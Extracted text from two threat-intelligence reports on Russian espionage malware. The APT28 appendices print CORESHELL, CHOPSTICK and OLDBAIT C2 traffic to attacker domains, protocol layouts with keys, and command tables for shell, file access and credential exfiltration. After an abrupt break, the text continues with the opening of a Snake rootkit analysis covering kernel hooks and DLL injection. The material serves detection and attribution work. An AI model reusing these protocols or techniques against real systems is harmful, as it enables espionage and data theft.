functions, and encryption algorithms.
Their
backdoors may have command and control IP
The art of attributing disparate intrusion activities   addresses or domain names embedded.
These are
to the same threat group is not always simple.
just a few examples of the myriad of forensic
Different groups may use similar intrusion              details that we consider when distinguishing one
methodologies and common tools, particularly            threat group from another.
those that are widely available on the Internet,
such as pwdump, HTran, or Gh0st RAT.
There may          At the most basic level, we say that two intrusion
be overlaps between groups caused by the sharing        events are attributed to the same group when we
of malware or exploits they have authored, or           have collected enough indicators to show beyond
even the sharing of personnel.
Individual threat        a reasonable doubt that the same actor or group
actors may move between groups either                   of actors were involved.
We track all of the
temporarily or permanently.
A threat actor may          indicators and significant linkages associated with
also be a private citizen who is hired by multiple      identified threat groups in a proprietary database
groups.
Multiple groups, on occasion, compromise        that comprises millions of nodes and linkages
the same target within the same timeframe.
between them.
In this way, we can always go back
and answer “why” we associated cyber threat
Distinguishing one threat group from another is         activity with a particular group.
possible with enough information, analytical
experience, and tools to piece it all together.
We
can analyze multiple incidents and tell by the
evidence left behind that a given incident was the
result of one threat group and not another.
29 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APPENDIX B:
TIMELINE OF
APT28 LURES
YEAR LURE TOPIC                                                                                            MALWARE
2010      Iran’s work with an international organization (internal document)                               SOURFACE
SOURFACE,
2011      File named “military cooperation.doc”
OLDBAIT
2011      Georgian language IT document for Ministry of Internal Affairs (internal document)               SOURFACE
“USB Disk Security is the best software to block threats that can damage your PC or compromise
2011                                                                                                       SOURFACE
your personal information via USB storage.”
2012      Food security in Africa (“Food and nutrition crisis reaches peak but good forecast for 2013”)    SOURFACE
2012      “IDF Soldier Killed and another injured in a Terror Attack”                                      SOURFACE
2012      “Echo Crisis Report” on Portugal’s forest fires                                                  SOURFACE
2012      “FBI to monitor Facebook, Twitter, Myspace”                                                      SOURFACE
2012      Georgia (US state, not the country of Georgia) murder case uncovers terror plot                  SOURFACE
2012      Military attaches in London (internal document)                                                  SOURFACE
CHOPSTICK,
2013      South Africa MFA document
CORESHELL
2013      John Shalikashvili (Georgian-Polish-American US General) Questionnaire                           CORESHELL
2013      Asia Pacific Economic Cooperation Summit 2013 reporters (internal document)                      SOURFACE
CHOPSTICK,
2013      Defense Attaches in Turkey (internal document)
CORESHELL
CHOPSTICK,
2013      Turkish Cypriot news about Syria chemical weapons
CORESHELL
2013      Georgian language document about drivers’ licenses (internal document)                           EVILTOSS
2013      Apparent Reason Magazine-related lure sent to a journalist                                       CORESHELL
2014      Mandarin language document, possibly related to a Chinese aviation group (non-public document)   CORESHELL
2014      Netherlands-Malaysia cessation of hostilities; related to Ukraine airline attack                 CORESHELL
30 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APPENDIX C:
SOURFACE/CORESHELL
SOURFACE is a downloader that obtains a second        two payloads.
Messages are sent using HTTP
stage backdoor from a C2 server.
Over time the        POST requests whose bodies contain encrypted
downloader has evolved and the newer versions,        and Base64 encoded data.
The encryption
usually compiled with the DLL name ‘coreshell.dll’,   algorithm is a custom stream cipher using a
are distinct enough from the older versions that      six-byte key.
Commands from the controller to the
we refer to it as SOURFACE/CORESHELL or               CORESHELL implant are encrypted using another
simply CORESHELL.
This appendix focuses on            stream cipher but this time using an eight-byte
these newer versions.
key.
CORESHELL has used the same user agent
string (“MSIE 8.0”) that SOURFACE previously
CORESHELL uses two threads to communicate             used, but in more recent samples CORESHELL
with its C2 server.
The first thread sends beacons    uses the default Internet Explorer user agent
that contain the process listing of the               string obtained from the system.
Figure 11 shows
compromised host.
The second thread is                an example POST request.
responsible for downloading and executing stage
Figure 11: Example CORESHELL POST request
POST /check/ HTTP/1.1
User-Agent: MSIE 8.0
Host: adawareblock.com
Content-Length: 58
Cache-Control: no-cache
zXeuYq+sq2m1a5HcqyC5Zd6yrC2WNYL989WCHse9qO6c7powrOUh5KY=
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APT 28: A Window into Russia’s Cyber Espionage Operations?
When Base64 decoded, the POST content looks like this:
00000000 cd 77 ae 62 af ac ab 69 b5 6b 91 dc ab 20 b9 65 .w.b...i.k... .e
00000010 de b2 ac 2d 96 35 82 fd f3 d5 82 1e c7 bd a8 ee ...-.5..........
00000020 9c ee 9a 30 ac e5 21 e4 a6 ...0..!..
The key used to encrypt the message is six bytes long and is appended to the end of the message.
In this is
example the key would be: 30 ac e5 21 e4 a6.
When the message is decrypted, the resulting plaintext is:
00000000 00 72 68 64 6e 7a 78 64 66 6d 46 36 66 35 61 68 .rhdnzxdfmF6f5ah
00000010 34 78 67 30 34 30 33 30 35 30 31 1a 00 00 00 23 4xg04030501....#
00000020 00 00 00 ...
The following table contains a breakdown of each of the field’s C2 message.
Table 6: Example CORESHELL beacon structure
Offset	      Value                    Description
00           00                       Command byte:
0 - Command request
1 - Process listing
01           “rhdn”                   Unknown - Potentially a campaign identifier.
Values seen so far: “rhze”, “rhdn” and “mtfs”.
05           “zxdfmF6f5ah4xg”         Hostname of compromised system
13           “0403”                   Unknown - Potentially a version number.
This number is hardcoded within the implant.
17           “05”                     OS Major version
19           “01”                     OS Minor version
1B           0x0000001a               Header length minus the command byte (LE DWORD)
1F           0x00000023               Length of the entire message (LE DWORD)
32 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Commands are sent from the C2 server to the CORESHELL backdoor in HTTP responses to the POST
requests.
The command is identified by the NULL terminated UNICODE string “OK” (O\x00\K\x00\x00\
x00).
The command is Base64 encoded and immediately follows the “OK” string.
Figure 12 shows a
sample CORESHELL command:
Figure 12: Example CORESHELL controller response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 58
O.K...AQAAAKqqAQEBAQEBAQEVzPMEUUIzQtND8kOSRLVEVUV0RRRGN0bX
The Base64 decoded string is:
00000000 01 00 00 00 AA AA 01 01 01 01 01 01 01 01 10 41 ........ .......A
00000010 70 41 10 42 33 42 D3 43 F2 43 92 44 B5 44 55 45 pA.B3B.C .C.D.DUE
00000020 74 45 14 46 37 46 D7 tE.F7F.
The following table contains a description of each field in the command message:
Table 7: CORESHELL C2 message structure
Offset	      Value                        Description
00           0x00000001                   Constant value, must be set to 1 (LE DWORD)
04           AA AA                        Unknown - not referenced
06           01 01 01 01 01 01 01 01      Encryption key (8 bytes)
0E           10 41 70 41 10 42 33...      Encrypted command
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APT 28: A Window into Russia’s Cyber Espionage Operations?
When the above command “10 41 70 41 10 42 33…” is decrypted using the key “01 01 01 01 01
01 01 01” the following command message is produced:
00000000 04 CC C2 04 00 42 42 42 42 43 43 43 43 44 44 44 .....BBBBCCCCDDD
00000010 44 45 45 45 45 46 46 46 46                      DEEEEFFFF
The implant supports the following four command identifiers from the controller as seen in Table 8.
The
first byte of the command message specifies the command type and is immediately followed by the PE or
shellcode to be executed.
In this example the command byte is 04 indicating the following bytes are
shellcode.
If the command byte was 01, 02, or 03 the following bytes would be a DLL or EXE that would
be written to disk and executed.
Table 8: CORESHELL commands
Command ID           Description
01                   Save command data as %LOCALAPPDATA%\svchost.exe and execute using CreateProcess.
02                   Save command data as %LOCALAPPDATA%\conhost.dll and execute using “rundll32.exe \”%s\”,#1”.
03                   Save command data as %LOCALAPPDATA%\conhost.dll and execute using LoadLibrary.
04                   Command data is a shell code and is executed using CreateThread.
34 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APPENDIX D:
CHOPSTICK
CHOPSTICK is a backdoor that uses a modularized, object-oriented framework written in C++.
This
framework allows for a diverse set of capabilities across malware variants sharing a common code base.
CHOPSTICK may communicate with external servers using SMTP or HTTP.
This appendix documents
variants using HTTP communications.
The first time CHOPSTICK is executed, it may encrypt and store configuration data in the Registry key
HKU\S-1-5-19_Classes\Software\Microsoft\MediaPlayer\{E6696105-E63E-4EF1-939E-
15DDD83B669A}\chnnl.
The user HKU\S-1-5-19 corresponds to the LOCAL_SERVICE account SID.
The configuration block is encrypted using RC4 encryption.
The key is a combination of a 50-byte static
key and a four-byte salt value randomly generated at runtime.
The static key is derived from opcodes in
the backdoor.
CHOPSTICK collects detailed information from the host including the Windows version, CPU
architecture, Windows Firewall state, User Account Control (UAC) configuration settings on Windows
Vista and above and Internet Explorer settings.
It also tests for the installation of specific security
products (Table 9) and applications (Table 10).
Table 9: Endpoint security products detected by CHOPSTICK
Service Name	                                        Security Product
Acssrv                                               Agnitum Client Security
AVP                                                  Kaspersky
SepMasterService                                     Symantec
McAfeeService                                        McAfee
AntiVirService                                       Avira
Ekrn                                                 ESET
DrWebAVService                                       Dr.
Web Enterprise Security
MBAMService                                          Malwarebytes Anti-Malware
35 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Table 10: Applications detected by CHOPSTICK
Process Name	                                               Application
firefox.exe                                                 Mozilla Firefox
iexplore.exe                                                Internet Explorer
outlook.exe                                                 Microsoft Outlook
opera.exe                                                   Opera Browser
bat.exe                                                     Unknown
msimn.exe                                                   Outlook Express
vpngui.exe                                                  Cisco Anyconnect VPN client
ipseca.exe                                                  IPsec VPN client
ipsecc.exe                                                  IPsec VPN client
openvpn.exe                                                 OpenVPN client
openssl.exe                                                 OpenSSL
openvpn-gui-1.0.3.exe                                       OpenVPN client
msmsgs.exe                                                  Microsoft Messenger
wuauclt.exe                                                 Windows Update
chrome.exe                                                  Google Chrome Browser
thebat.exe                                                  The Bat Secure Email Client
skype.exe                                                   Skype Messenger
36 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
After collecting host information, CHOPSTICK creates a hidden file that may be named
%ALLUSERSPROFILE%\edg6EF885E2.tmp for temporary storage and creates a Windows mailslot with the
name “check_mes_v5555”.28 Its usage of a Windows mailslot would potentially allow external binaries to
write data to the “check_mes_v5555” mailslot, possibly allowing CHOPSTICK to encrypt and store
output from other malware.
It creates a thread that records user activity on the host, capturing desktop
screenshots in JPEG format, tracks current window focus, collects keystrokes, and scrapes window
contents (text, context menus, etc.).
User activity is captured once every 500 milliseconds and logged in
an HTML-like format.
The thread writes user activity log messages to the “check_mes_v5555” mailslot in
plain text.
CHOPSTICK reads messages from the mailslot, encrypts them using RC4, and then stores the
encrypted message in an edg6EF885E2.tmp temporary file.
The RC4 encryption used here also uses a 50-
byte static key plus four-byte random salt value.
After approximately 60 seconds of execution time, CHOPSTICK begins communicating with one of its C2
servers over HTTP.
After sending an initial HTTP GET request it uploads the file contents of edg6EF885E2.
tmp to the C2 server using HTTP POST requests.
It does not wait for a response from the server to begin
uploading.
Once the contents of edg6EF885E2.tmp are uploaded, CHOPSTICK deletes the file.
Figure 13
below contains an example of an HTTP POST request uploading a segment from edg6EF885E2.tmp.
Figure 13: Sample CHOPSTICK v2 HTTP POST
POST /search/?btnG=D-3U5vY&utm=79iNI&ai=NPVUnAZf8FneZ2e_qptjzwH1Q&PG3pt=n-
B9onK2KCi HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101
Firefox/20.0
Host: windows-updater.com
Content-Length: 77
Cache-Control: no-cache
1b2x7F4Rsi8_e4N_sYYpu1m7AJcgN6BzDpQYv1P2piFBLBqghXiHY3SIfe8cUHHYojeXfeyyOhw==
28
A mailslot is a Windows inter-process communication (IPC) mechanism similar to a named pipe, but is designed for one-way communications between
processes and can also be used across the network.
37 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
CHOPSTICK uses a URL-safe Base64 encoding, using an alphabet that substitutes “+” and “/” for “-” and
“_”, respectively.
Each HTTP request contains multiple Base64 encoded URL parameters, however only
one parameter contains information encoded by the malware (“ai=”) and the rest of the URL parameters
appear to be randomly generated per request.
CHOPSTICK encrypts an 11-byte sequence in the “ai=” parameter.
The purpose of this parameter
appears to be to uniquely identify the particular instance of the backdoor to the C2 server.
The Base64
encoded text of this parameter begins with a number of randomly generated alphabetical characters
presumably intended to prevent people from Base64 decoding the whole string without some knowledge
of how the malware family works.
The first four bytes of the message are an XOR key for the remainder of
the data.
Once decrypted using the XOR key, an 11-byte sequence is revealed.
The first seven bytes are
static, and are hard-coded in CHOPSTICK, while the last four bytes appear to be unique.
The message body of the POST request is also Base64 encoded.
This encoded string is also prefixed with
random characters designed to break the output of a Base64 decode operation on the entire string.
The
first 15 bytes of the decoded message body comprise another 11-byte sequence similar to the sequence
stored in the “ai=” parameter as described above.
Decrypting these bytes yields another static seven-byte
sequence, followed by four unique bytes.
The remainder of the message body consists of the RC4
encrypted data containing the HTML-formatted user activity log, edg6EF885E2.tmp.
After uploading edg6EF885E2.tmp, CHOPSTICK continues to query its C2 servers for commands using
HTTP GET requests.
The malware contains code which allows it to load or memory-map external modules
that export the following functions: SendRawPacket, GetRawPacket, InitializeExp, DestroyExp,
IsActiveChannel, GetChannelInfo, SetChannelInfo, Run, GetModuleInfo, GiveMessage,
and TakeMessage.
38 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Modularity
CHOPSTICK backdoors are compiled within a modularized development framework.
This means that
two separate CHOPSTICK backdoors may contain vastly different functionality, depending on which
modules were included at compile time.
The modules that are included in an instance of CHOPSTICK
may be reported to the C2 server as part of POST messages.
Figure 14 includes an example from a
CHOPSTICK v1 variant:
Figure 14: Sample CHOPSTICK v1 HTTP POST including module identification
POST /webhp?rel=psy&hl=7&ai=d2SSzFKlR4l0dRd_ZdyiwE17aTzOPeP-PVsYh1lVAXpLhIebB4=
HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101
Firefox/20.0
Host: adobeincorp.com
Content-Length: 71
Cache-Control: no-cache
d2SSzFKchH9IvjcM55eQCTbMbVAU7mR0IK6pNOrbFoF7Br0Pi__0u3Sf1Oh30_HufqHiDU=
39 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
To decode the POST content, the first step is to remove characters from the Base64 string (the number of
characters to remove may vary between different communication channels).
In the example from Figure
14, the number of characters removed is seven.
Once these characters are removed the decoded (but
still encrypted) text looks like this:
00000000 72 11 fd 22 f8 dc 33 9e 5e 40 24 db 31 b5 40 53 r..”..3.^@$.1.
@S
00000010 b9 91 d0 82 ba a4 d3 ab 6c 5a 05 ec 1a f4 3e 2f ........lZ....>/
00000020 ff d2 ed d2 7f 53 a1 df 4f c7 b9 fa 87 88 35 .....S..O.....5
The first two words (“72 11” and “fd 22”) are checksums that are used to validate the message.
The next 4
bytes “f8 dc 33 9e” are a salt value that is appended to the end of an RC4 key.
Once decrypted, the
message looks like the following:
00000000 72 11 fd 22 f8 dc 33 9e 56 34 4d 47 4e 78 5a 57 r..”..3.V4MGNxZW
00000010 6c 76 63 6d 68 6a 4f 47 39 79 5a 51 3d 3c 3c ee lvcmhjOG9yZQ=<<.
00000020 01 00 00 01 00 23 01 10 23 01 11 23 01 13 23 .....#..#..#..#
The strings “V4MGNxZWlvcmhjOG9yZQ” and “=<<\xee” are hardcoded in the implant.
The module
information starts at offset 0x20 with the string “01 00 00” and is formatted as follows:
Table 11: Example CHOPSTICK v1 message format
Offset	      Value                                   Description
00           0x0001                                  Message from the AgentKernel v1
02           00                                      Command ID
03           01 00 23 01 10 23 01 11 23 01 13 23     List of modules included in the implant
separated by a ‘#’ character
40 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
The modules included in this CHOPSTICK v1 implant are:
Table 12: Example CHOPSTICK v1 module list
Module ID         Internal Module Name            Description
0x0001            AgentKernel                     Kernel, probably version 1.
Handles communication between modules and C2
tunnels.
0x1001            modKey                          Logs keystrokes and takes screen captures.
0x1101            modFS                           Facilitates file system access, such as directory browsing along with reading,
deleting and opening files.
0x1301            modProcRet                      Remote command shell access.
Our determination of a CHOPSTICK “v1” versus “v2” is based on the self-identification of the kernel ID
and associated modules.
Compare the list of CHOPSTICK v1 modules in Table 12 with the list of modules
in an example CHOPSTICK v2 variant in Table 13:
Table 13: Example CHOPSTICK v2 module list
Module ID         Internal Module Name            Description
0x0002            kernel                          Kernel, probably version 2.
Handles communication between modules and C2
tunnels.
0x1002                                            Logs keystrokes and takes screen captures.
0x1102                                            Facilitates filesystem access, such as directory browsing along with reading,
deleting and opening files.
0x1302                                            Remote command shell access.
0x1602                                            Load additional DLLs.
41 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
The kernel IDs 0x0001 and 0x0002 indicate different versions.
The corresponding modules in each
backdoor also are consistently identified with 0x01 and 0x02, respectively, in the second byte.
In both
variants the modules with keystroke log, file system access, and command shell capabilities have the
consistent identifiers 0x10, 0x11, and 0x13, respectively, in the first byte.
This suggests that the first byte
in the module ID identifies the module type whereas the second byte identifies the kernel version.
The kernel sends commands to each module using its module ID.
The commands that each module
understands are likely consistent from build to build.
Table 14 and Table 15 show examples of commands
that each module understands.
Table 14: Commands understood by modFS (0x1101) module
Command ID	             Description         Example
01                      Find file           \x01\x11\x01Directory&file&[01]
02                      Read file           \x01\x11\x02Directory&file&[01]
03                      Write file          \x01\x11\x03Directory&file&[Contents]
04                      Delete file         \x01\x11\x04Directory&file&[01]
05                      Execute file        \x01\x11\x05Directory&file&[01]
Table 15: Commands understood by modProcRet (0x1301) module
Command ID	             Description         Example
00                      CMD.exe output      \x01\x13\x00[Output]
01                      CMD.exe start       \x01\x13\x01
02                      CMD.exe exit        \x01\x13\x02
11                      CMD.exe input       \x01\x13\x11[Input]
42 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APPENDIX E:
OLDBAIT
OLDBAIT is a credential harvester that installs itself in %ALLUSERPROFILE%\\Application Data\
Microsoft\MediaPlayer\updatewindws.exe.
There is a missing space in the MediaPlayer directory and
the filename is missing the ‘o’ character.
Both the internal strings and logic are obfuscated and are
unpacked at startup.
Credentials for the following applications are collected:
•	     Internet Explorer
•	     Mozilla Firefox
•	     Eudora
•	     The Bat!
(an email client made by a Moldovan company)
•	     Becky!
(an email client made by a Japanese company)
Both email and HTTP can be used to send out the collected credentials.
Sample HTTP traffic is
displayed in Figure 15.
Figure 15: Example OLDBAIT HTTP traffic
POST /index.php HTTP/1.0
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Content-Length: 6482
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: windous.kz
Connection: Keep-Alive
Pragma: no-cache
prefs=C789Cu0Zacq7acr0D7LUawy6CY4REIaZBciWc6yVCN--cut--
43 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Figure 16: Example OLDBAIT SMTP traffic
From: lisa.cuddy@wind0ws.kz
To: dr.house@wind0ws.kz
Subject: photo(9a3d8ea4-test)
Date: Tue, 23 Sep 2014 15:42:56 -0500
MIME-Version: 1.0
Content-Type: text/plain;
charset=”us-ascii”
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2670
X-MimeOLE: Produced By Microsoft MimeOLE v6.00.2900.2670
X-Spam: Not detected
===STARTPOINT===
qVV5KyHocV3FkUeENvu9LnVIlRB0YTa7xhoTwhRlIBBI7gRzVxikQXDRkdy4vGt1WfBtg9Utzbny
Uh+usXJHZ9Esecqq0UKg5Ul1O2E2OiyBTnGDPdP00UMRx/E+2it/10wQyH/epo8zuLnCuxPe7B+K
--cut---
hU+MWBLP+7h5ZojN
===ENDPOINT===
OLDBAIT handles APIs very similarly to SOURFACE and EVILTOSS.
There is a setup routine that loads
the imports into a table and all API calls reference an index to this table.
In SOURFACE and EVILTOSS the
table is stored in a global variable while in OLDBAIT this table is allocated at runtime and a pointer is
passed between functions.
44 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
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their respective owners.
SP.APT28.EN-US.102014
45 fireeye.com
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mov
cmp
mov
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EXECUTIVE
SUMMARY
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   2
OVERVIEW
One of the questions which comes up in the months after big security whitepaper disclosures is:
where are they now?
In other words, what happened to the operators, tools, and infrastructure
which was revealed in the reports, blog-posts, and press interviews.
Did they continue on as before, did they re-build the disclosed infrastructure and tools, did they go
away and get jobs in another line of work?
In some cases, the disclosure had little, if any impact on the operation.
For example, after the
McAfee ShadyRAT report in 2011, there was absolutely no change in the attacks from the group
behind this.
However, when Mandiant released their APT1 report in 2013, there was a noticeable
reduction in activity from the group – and much of the tools and infrastructure has not been seen
since.
In the September 2010 issue of Foreign Affairs magazine1, former US Deputy Secretary of Defense
William J. Lynn discussed a cyber-attack which happened two years previously on the DoD’s
classified computer networks.
Lynn described how a foreign intelligence agency planted malicious
code on the networks with the aim of transferring data to servers under their control.
The article included the now oft-quoted phrase ‘digital beachhead’ to describe what was
undoubtedly a significant compromise of US military systems.
Further reports in the press2 kept the
story alive in 2011, but since then this threat has received remarkably little attention.
However, the operation behind the attacks has continued with little modification to the tools and
techniques, in spite of the widespread attention a few years ago.
They use highly sophisticated
malware tools to maintain persistent access to their targets.
These tools can be used for covert
communications in a number of different modes, some of which present significant challenges for
traditional security technologies to detect.
There are some threats which come and go, whilst there are others which are permanent
features of the landscape.
In this paper, we describe the tools and techniques of one of the most
sophisticated and persistent threats we track.
We hope this will help victims identify intrusions and
understand their need to improve defences.
Cyber security is a collaborative effort – the operation
described in this paper again raises the bar for the security community in their efforts to keep up
with the attackers in cyber-space
1
http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain
2
http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   3
TECHNICAL
DESCRIPTION
BAE Systems Applied Intelligence: Snake Rootkit Report 2014   4
BACKGROUND
When antivirus back-end classification platforms cannot identify a malware family for an analysed malicious sample, they assign
generic names, such as “Trojan Horse” or “Agent”.
The variant letters are also assigned automatically, by using hexavigesimal
(or Base26) notation.
That is, the variant letters are auto-assigned starting from “A”, followed with “B”, and so on until “Z”.
Next
comes “AA”, “AB” and so on, until “ZZ”.
After that, the variant letters start from “AAA”, “AAB” and so on, until “ZZZ”.
Back in 2008 an unknown malicious file was discovered and auto-classified as “Agent.BTZ”, meaning it was registered as unknown
malicious sample #1,898 in an anti-virus classification system.
It wasn’t given an actual name, only a generic one.
Meanwhile, internally the authors behind this malware were using their own naming systems - with specific titles for their file
components and projects such as “snake”, “uroburos”, “sengoku”, and “snark“ used to denote variants of their framework.
A recent report from German security company GData3 described a sample from the “uroburos” variant of this framework.
Their
report revealed the complex nature of this malware family, and showed that the operation behind “Agent.BTZ” has continued.
As
a result of this disclosure, we are also releasing our own technical analysis of the threat, including a timeline of known samples,
known Command-and-Control (C&C) servers, and other indicators to aid investigators in discovering attacks.
Reverse engineering of recent malware samples shows these to be much more advanced variants of Agent.BTZ, though still sharing
many similarities and encryption methods with the original.
Further investigation allowed us to locate related samples compiled
between 2006 and 2014, and spanning across several distinctive generations.
The first section of this report gives an overview of
the samples collected, where they were reported and the timelines derived from their analysis.
Snake’s architecture turned out to be quite interesting.
We have identified two distinct variants, both highly flexible but with two
different techniques for establishing and maintaining a presence on the target system.
In general, its operation relies on kernel
mode drivers, making it a rootkit.
It is designed to covertly install a backdoor on a compromised system, hide the presence of its
components, provide a communication mechanism with its C&C servers, and enable an effective data exfiltration mechanism.
At the
same time, Snake exposed a flexibility to conduct its operations by engaging these noticeably different architectures.
In the first model, the network communications are carried out from the userland - i.e.
the area of the computer system where
application software executes.
In another model, the network communications are handled by a kernel mode driver - i.e.
the area
where lower level system code such as device drivers run.
The choice of what architecture should be used may depend on a specific
target’s environment, allowing the Snake operators to choose the most suitable architecture to be deployed.
In both architectures there is a kernel mode driver installed and a usermode DLL injected by the driver into the system processes.
In both architectures, there is both 32-bit and 64-bit code involved.
In order to distinguish between these architectures, we will call
them the usermode-centric and the kernel-centric architectures respectively.
The remainder of this report gives a detailed explanation of how the two Snake architectures embed themselves in the target
system and communicate with the outside world.
We have also provided a set of technical indicators in the Appendix to enable
organisations and the security research community to identify compromises.
3
https://www.gdata.de/rdk/dl-en-rp-Uroburos
BAE Systems Applied Intelligence: Snake Rootkit Report 2014               5
SNAKE SAMPLES
In total we have collected over 100 unique files related to this espionage toolkit.
Many of these were submitted to online malware
analysis websites by victims and investigators over several years.
In many cases the source country information of the submission
is available.
These allow us to visualise the distribution of countries where this malware has been seen:
#Samples                    Submission Year
Source country 2010 2011 2012 2013 2014 Total
Ukraine             1   3     6    8   14                                   32
Lithuania                          9    2                                   11
Great Britain                      4                                         4
Belgium                            2                                         2
Georgia                                 2                                    2
United States           1     1                                              2
Romania                            1                                         1
Hungary                                 1                                    1
Italy                                   1                                    1
Total               1   4     7   24   20                                   56
Whilst this view is likely to only be the tip of the iceberg, it does give us an initial insight into the profile of targets for the Snake
operations.
Other useful visualisations of the operations come from the compile timestamps.
Below is shown a table with a count of the
number of files in our sample set from recent years.
Two samples compiled in late January 2014 show that this activity is ongoing.
#Samples by compile month
Year          01       02        03         04       05       06        07       08       09       10        11        12     Total
2006               1                                      3                                                                       4
2007                                             1                  1                                    1                        3
2008                                    2                 1         2        1                                     2              8
2009               1         1                                               1                           3         2         2 10
2010               1         1                   1                  1                                    1         2              7
2011                                    1                           4        1                           3         1         3 13
2012               2                    1                           1                                    1         2         7 14
2013               1        13          5        2        5         4        3        2        1         2         1             39
2014               2                                                                                                              2
Total              8        15          9        4        9        13        6        2        1        11        10        12 100
Plotting the day of the week in which the samples were compiled shows a now familiar pattern for analysts of modern cyber-attacks.
The creators of the malware operate a working week, just like any other professional.
The single sample in our set which was
compiled on a Saturday is an outlier, but doesn’t alter the conclusion.
Similarly, plotting the hour of the day in which the samples
were compiled reveals another human pattern – the working day.
This has been adjusted to UTC+4 to show a possible fit to the
operators’ local time.
#Samples compiled per day of the week                                                                   #Samples compiled by hour of the day
(adjusted to UTC+4)
30
25
20
15
10
5
0
Mon      Tue      Wed       Thu        Fri            Sat            Sun
BAE Systems Applied Intelligence: Snake Rootkit Report 2014                      6
USERMODE-CENTRIC ARCHITECTURE
The usermode-centric architecture of Snake is known to have been used from 2011 till 2014, with the most recent sample compiled
on January 28, 2014.
With this architecture, the Snake driver is mainly used to load the DLL module into the usermode processes, and then use that
module for the communications.
One of the analysed samples exposed multiple debug messages and source control check-in logs.
It is not clear why those
messages were allowed in the deployed driver - possibly an operational security lapse.
However, they give some insight into the
internal structure of the source code.
For example, the analysed driver gave away the following source file names:
•	   d:\proj\cn\fa64\common\loadlib\common/loadlib_helpers.c
•	   d:\proj\cn\fa64\common\loadlib\win/loadlib.c
•	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libunhook.c
•	   d:\proj\cn\fa64\uroboros\rk_common\libhook\ntsystem/libhook.c
•	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/hook_helpers.c
•	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libhook.c
•	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/idthook.c
•	   .\rk_ntsystem.c
•	   ..\common\helpers\interface_s.c
•	   ..\k2\fa_registry.c
•	   ..\k2\syshook.c
The source control check-in log examples, showing the names of the developers to be ‘vlad’ and ‘gilg’:
•	 $Id: snake_config.c 5204 2007-01-04 10:28:19Z vlad $
•	 $Id: mime64.c 12892 2010-06-24 14:31:59Z vlad $
•	 $Id: event.c 14097 2010-11-01 14:46:27Z gilg $
•	 $Id: named_mutex.c 15594 2011-03-18 08:04:09Z gilg $
•	 $Id: nt.c 20719 2012-12-05 12:31:20Z gilg $
•	 $Id: ntsystem.c 19662 2012-07-09 13:17:17Z gilg $
•	 $Id: rw_lock.c 14516 2010-11-29 12:27:33Z gilg $
•	 $Id: rk_bpf.c 14518 2010-11-29 12:28:30Z gilg $
•	 $Id: t_status.c 14478 2010-11-27 12:41:22Z gilg $
It also exposed the project name of this particular variant as ‘sengoku’:
d:\proj\cn\fa64\sengoku\_bin\sengoku\win32_debug\sengoku_Win32.pdb
Now it’s time to execute the driver and see what it does.
BAE Systems Applied Intelligence: Snake Rootkit Report 2014        7
ROOTKIT EXECUTION
When first executed, the driver creates device named \Device\vstor32 with a symbolic link \DosDevices\vstor32.
This device is used for userland/kernel communications.
Next, it drops a DLL into the %windows% directory - the DLL is carried in the body of the driver as a binary chunk with
XOR 0xAA applied on top of it, so the driver decrypts it first.
Depending on the variant, the DLL is dropped either under a random name or a hard-coded name, such as mscpx32n.dll.
The purpose of this DLL is to be injected into the user-mode processes.
Some variants of Snake carry the DLL modules that can be
installed as a service, to be run within taskhost.exe or services.exe processes.
Next, the driver sets up the hooks for the following kernel-mode APIs:
•	 ZwCreateThread
•	 ZwCreateUserProcess
•	 ZwShutdownSystem
After that, it calls PsSetCreateProcessNotifyRoutine() in order to be notified whenever a new process is started.
The handlers of the hooks above along with the notification callback allow Snake to stay persistent on a system, being able to infect
any newly created processes, and restore its driver file in case it gets deleted.
Another set of hooks it sets is designed to hide the presence of the Snake components on the system:
•	 ZwQuerySystemInformation
•	 ZwQueryInformationProcess
•	 ZwClose
•	 ZwTerminateProcess
The driver then watches for all userland processes to see if they load any web pages.
As long as the user is not using the Internet, Snake stays dormant too, as there is no process that communicates with the web
servers.
However, as soon as the user goes online, the driver intercepts that event and then immediately injects the malicious DLL module
into the process that initiated connection (the browser).
Once injected, the module initiates polling from one of the hard-coded C&C servers.
The purpose of this behaviour is to blend Snake’s traffic with the browser traffic, bypassing the firewalls, and keeping a low profile
at the same time.
By communicating from within a process that also communicates, even a technically savvy user will find it
challenging to detect Snake traffic among legitimate traffic.
The reason behind such difficulty is because modern web pages often fetch pages from the different web servers, including such
